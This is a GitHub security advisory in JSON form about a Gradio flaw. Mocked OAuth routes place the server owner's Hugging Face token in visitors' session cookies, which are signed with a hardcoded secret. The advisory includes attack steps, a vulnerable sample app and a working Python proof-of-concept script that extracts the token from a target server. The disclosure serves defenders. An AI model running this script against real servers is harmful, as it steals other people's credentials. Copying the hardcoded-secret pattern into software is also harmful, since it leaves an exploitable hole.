{"id":"GHSA-h3h8-3v2v-rg7m","summary":"Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret","details":"## Summary\n\nGradio applications running outside of Hugging Face Spaces automatically enable \"mocked\" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `\"-v4\"`, making the payload trivially decodable.\n\n## Affected Component\n\n`gradio/oauth.py` — functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.\n\n## Root Cause Analysis\n\n### 1. Real token injected into every visitor's session\n\nWhen Gradio detects it is **not** running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).\n\nThe function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the **real** HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of **any visitor** who hits `/login/callback` (line 183):\n\n```python\nrequest.session[\"oauth_info\"] = mocked_oauth_info\n```\n\nThe `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):\n\n```python\nreturn {\n    \"access_token\": token,  # \u003c-- real HF token from server\n    ...\n}\n```\n\n### 2. Hardcoded session signing secret\n\nThe `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50):\n\n```python\nsession_secret = (OAUTH_CLIENT_SECRET or \"\") + \"-v4\"\n```\n\nWhen running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the **constant string `\"-v4\"`**, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.\n\nIn practice, Starlette's `SessionMiddleware` stores the session data as **plaintext base64** in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.\n\n## Attack Scenario\n\n### Prerequisites\n\n- A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.)\n- The app is network-accessible (e.g. `server_name=\"0.0.0.0\"`, `share=True`, port forwarding, etc.)\n- The host machine has a Hugging Face token configured\n- `OAUTH_CLIENT_SECRET` is **not** set (default outside of Spaces)\n\n### Steps\n\n1. Attacker sends a GET request to `http://\u003ctarget\u003e:7860/login/huggingface`\n2. The server responds with a 307 redirect to `/login/callback`\n3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token\n4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`\n\n\n## Minimal Vulnerable Application\n\n```python\nimport gradio as gr\nfrom huggingface_hub import login\n\nlogin(token=\"hf_xxx...\")\n\ndef hello(profile: gr.OAuthProfile | None) -\u003e str:\n    if profile is None:\n        return \"Not logged in.\"\n    return f\"Hello {profile.name}\"\n\nwith gr.Blocks() as demo:\n    gr.LoginButton()\n    gr.Markdown().attach_load_event(hello, None)\n\ndemo.launch(server_name=\"0.0.0.0\")\n\n```\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Gradio mocked OAuth leaks server's HF token via session + weak secret\nUsage: python exploit.py --target http://victim:7860\n       python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080\n\"\"\"\nimport argparse\nimport base64\nimport json\nimport sys\nimport requests\n\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:7860\")\n    ap.add_argument(\"--proxy\", default=None, help=\"HTTP proxy, e.g. http://127.0.0.1:8080\")\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n    proxies = {\"http\": args.proxy, \"https\": args.proxy} if args.proxy else None\n\n    # 1. Trigger mocked OAuth flow — server injects its own HF token into our session\n    s = requests.Session()\n    s.get(f\"{base}/login/huggingface\", allow_redirects=True, verify=False, proxies=proxies)\n\n    cookie = s.cookies.get(\"session\")\n    if not cookie:\n        print(\"[-] No session cookie received; target may not be vulnerable.\", file=sys.stderr)\n        sys.exit(1)\n\n    # 2. Decode the cookie payload (base64 before the first \".\")\n    payload_b64 = cookie.split(\".\")[0]\n    payload_b64 += \"=\" * (-len(payload_b64) % 4)  # fix padding\n    data = json.loads(base64.b64decode(payload_b64))\n    token = data.get(\"oauth_info\", {}).get(\"access_token\")\n\n    if token:\n        print(f\"[+] Leaked HF token: {token}\")\n    else:\n        print(\"[-] No access_token found in session.\", file=sys.stderr)\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","aliases":["CVE-2026-27167","PYSEC-2026-63"],"modified":"2026-06-05T18:00:13.867395972Z","published":"2026-03-01T01:00:33Z","database_specific":{"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-03-01T01:00:33Z","nvd_published_at":"2026-02-27T22:16:22Z","cwe_ids":["CWE-522","CWE-798"]},"references":[{"type":"WEB","url":"https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27167"},{"type":"WEB","url":"https://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1911e"},{"type":"PACKAGE","url":"https://github.com/gradio-app/gradio"},{"type":"WEB","url":"https://github.com/gradio-app/gradio/releases/tag/gradio@6.6.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-63.yaml"}],"affected":[{"package":{"name":"gradio","ecosystem":"PyPI","purl":"pkg:pypi/gradio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.0"},{"fixed":"6.6.0"}]}],"versions":["4.16.0","4.17.0","4.18.0","4.19.0","4.19.1","4.19.2","4.20.0","4.20.1","4.21.0","4.22.0","4.23.0","4.24.0","4.25.0","4.26.0","4.27.0","4.28.0","4.28.1","4.28.2","4.28.3","4.29.0","4.31.0","4.31.1","4.31.2","4.31.3","4.31.4","4.31.5","4.32.0","4.32.1","4.32.2","4.33.0","4.35.0","4.36.0","4.36.1","4.37.1","4.37.2","4.38.0","4.38.1","4.39.0","4.40.0","4.41.0","4.42.0","4.43.0","4.44.0","4.44.1","5.0.0","5.0.0b1","5.0.0b10","5.0.0b5","5.0.0b6","5.0.0b7","5.0.0b8","5.0.0b9","5.0.1","5.0.2","5.1.0","5.10.0","5.11.0","5.12.0","5.13.0","5.13.1","5.13.2","5.14.0","5.15.0","5.16.0","5.16.1","5.16.2","5.17.0","5.17.1","5.18.0","5.19.0","5.20.0","5.20.1","5.21.0","5.22.0","5.23.0","5.23.1","5.23.2","5.23.3","5.24.0","5.25.0","5.25.1","5.25.2","5.26.0","5.27.0","5.27.1","5.28.0","5.29.0","5.29.1","5.3.0","5.30.0","5.31.0","5.32.0","5.32.1","5.33.0","5.33.1","5.33.2","5.34.0","5.34.1","5.34.2","5.35.0","5.36.2","5.37.0","5.38.0","5.38.1","5.38.2","5.39.0","5.4.0","5.40.0","5.41.0","5.41.1","5.42.0","5.43.0","5.43.1","5.44.0","5.44.1","5.45.0","5.46.0","5.46.1","5.47.0","5.47.1","5.47.2","5.48.0","5.49.0","5.49.1","5.5.0","5.50.0","5.50.0.dev0","5.50.1.dev0","5.50.1.dev1","5.6.0","5.7.0","5.7.1","5.8.0","5.9.0","5.9.1","6.0.0","6.0.0.dev0","6.0.0.dev1","6.0.0.dev3","6.0.0.dev4","6.0.0.dev5","6.0.1","6.0.2","6.1.0","6.2.0","6.3.0","6.4.0","6.5.0","6.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-h3h8-3v2v-rg7m/GHSA-h3h8-3v2v-rg7m.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N"}]}